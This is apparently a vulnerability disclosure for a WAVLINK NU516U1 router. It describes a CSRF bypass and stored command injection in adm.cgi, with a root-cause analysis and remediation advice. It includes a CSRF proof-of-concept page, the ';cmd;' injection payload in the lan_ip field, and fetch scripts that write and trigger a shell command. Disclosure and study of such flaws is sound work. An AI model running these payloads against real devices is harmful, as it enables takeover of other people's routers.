Share
## https://sploitus.com/exploit?id=A0BEFFFA-2FE8-5AE3-90AD-A94CCA1919FD
# WAVLINK WiFi Router โ€” CSRF Authentication Bypass Chained with Stored Command Injection

## 1. Vulnerability Summary

| Item | Detail |
|------|--------|
| **Vulnerability Type** | CSRF Authentication Bypass + Stored Command Injection |
| **Affected Component** | `adm.cgi` (Administration CGI) |
| **Attack Vector** | Network (HTTP POST) |
| **Authentication Required** | Bypassed via CSRF |

## 2. Affected Products

| Attribute | Value |
|-----------|-------|
| **Vendor** | WAVLINK |
| **Device Model** | NU516U1 (other models sharing the same codebase may also be affected) |
| **Firmware Version** | WO-A-2026-05-15-708c073 (latest as of 2026-06-04) |
| **Chipset Platform** | MT7628 (MIPS 24KEc) |
| **Web Server** | lighttpd |

## 3. Vulnerability Description

`adm.cgi` contains a two-stage stored command injection vulnerability:

- **Step 1** (`page=lan` handler): Stores the user-supplied `lan_ip` parameter **as-is** into UCI configuration `winstar.system.lan_ipaddr`
- **Step 2** (`page=openDHCP` handler): Reads the stored value from UCI, concatenates it into a shell command string via `sprintf`, and executes it through `system()`

Since the injected payload persists in `/etc/config/winstar` between requests, the attacker can trigger execution at any time.

### 3.1 Root Cause

In `sub_4084F0` (page=openDHCP handler):

![1780547014452](VULN_REPORT/1780547014452.png)

![1780547041868](VULN_REPORT/1780547041868.png)

`sprintf` performs no sanitization, and `system()` directly executes the concatenated string. The shell treats `;` as a command separator, enabling arbitrary command execution.

In the login logic, the `Set-Cookie` header does not include `SameSite=Strict`. This allows cross-site top-level GET navigation (e.g., `` tag redirects) to carry the session cookie, laying the groundwork for CSRF exploitation.

![1780554703197](VULN_REPORT/1780554703197.png)

During the Referer check:

![1780555508045](VULN_REPORT/1780555508045.png)

![1780555487573](VULN_REPORT/1780555487573.png)

Only one match is required โ€” if the attacker's malicious domain contains `192.168.10.1` as a substring, the check passes:

```c++
strstr(env, v8)   โ†’  Does Referer contain LAN IP    (192.168.10.1)
strstr(env, v10)  โ†’  Does Referer contain SYS_DOMAIN1 (user-configured domain 1)
strstr(env, v9)   โ†’  Does Referer contain SYS_DOMAIN2 (user-configured domain 2)
```

A malicious page can be constructed as follows:

```html


CSRF PoC

Loading...



  
  /tmp/x;">




  



  var w1 = window.open("", "w1", "width=1,height=1");
  var w2 = window.open("", "w2", "width=1,height=1");
  document.getElementById("s1").submit();
  setTimeout(function() {
    document.getElementById("s2").submit();
  }, 2000);



```

## 4. Code Analysis

### 4.1 Step 1 Handler โ€” `sub_4057EC` (0x4057EC)

POST page=lan&lan_ip=;cmd;

The malicious payload is stored at this point [payload persisted in /etc/config/winstar].

![1780547077079](VULN_REPORT/1780547077079.png)

### 4.2 Step 2 Handler โ€” `sub_4084F0` (0x4084F0)

The stored value is read back and ultimately flows into `system()`, resulting in command injection.

![1780547143311](VULN_REPORT/1780547143311.png)

### 4.3 Data Flow Diagram

```
Step 1: POST page=lan&lan_ip=;cmd;
        โ”‚
        โ–ผ
   sub_4057EC (page_lan_handler)
        โ”‚
        โ”œโ”€ Parse "lan_ip" โ†’ ";cmd;"
        โ”œโ”€ UCI set: winstar.system.lan_ipaddr = ";cmd;"
        โ””โ”€ system("/etc/init.d/network restart") โ† fixed, harmless

        [payload persisted in /etc/config/winstar]

Step 2: POST page=openDHCP
        โ”‚
        โ–ผ
   sub_4084F0 (page_openDHCP_handler)
        โ”‚
        โ”œโ”€ UCI get: winstar.system.lan_ipaddr โ†’ ";cmd;"
        โ”œโ”€ sprintf(buf, "ifconfig br-lan %s", ";cmd;")
        โ”‚                โ†’
        โ”‚         "ifconfig br-lan ;cmd;"
        โ””โ”€ system(buf)  โ† โ˜… COMMAND EXECUTION
```

## 5. Attack Scripts

### 5.1 Direct Exploitation (Same-Origin / curl)

CSRF bypass grants access to the following interface.

Browser-based exploitation:

```javascript
// Step 1 - Write to UCI
fetch("/cgi-bin/adm.cgi", {
  method: "POST",
  credentials: "include",
  headers: {"Content-Type": "application/x-www-form-urlencoded"},
  body: "page=lan&lan_ip=;ls>/tmp/x;"
}).then(r => console.log("Step1:", r.status))

// Step 2 - Trigger execution
fetch("/cgi-bin/adm.cgi", {
  method: "POST", 
  credentials: "include",
  headers: {"Content-Type": "application/x-www-form-urlencoded"},
  body: "page=openDHCP"
}).then(r => console.log("Step2:", r.status))
```

![1780547226058](VULN_REPORT/1780547226058.png)

Verified on the device firmware โ€” the file was successfully written, achieving RCE:

![1780547257242](VULN_REPORT/1780547257242.png)

## 6. Remediation Recommendations

### 6.1 Input Validation

Validate the `lan_ip` parameter in `sub_4057EC` to ensure it conforms to a legitimate IPv4 format:

```c
// Recommended IP format validation
if (!is_valid_ipv4(lan_ip)) {
    return error;
}
```

### 6.2 Parameterized Commands / Whitelisting

Replace the `sprintf` + `system()` pattern with parameterized invocation to prevent shell injection:

```c
// Incorrect (current)
sprintf(buf, "ifconfig br-lan %s", lan_ip);
system(buf);

// Correct
execlp("ifconfig", "ifconfig", "br-lan", validated_ip, NULL);
```

### 6.3 CSRF Protection

- Add `SameSite=Strict` to the session cookie: `Set-Cookie: session=%s; Path=/; SameSite=Strict; HttpOnly`
- Implement CSRF tokens in all administrative forms
- Replace `strstr`-based Referer validation with proper origin comparison (e.g., parse the Referer URL and compare the host component against a whitelist)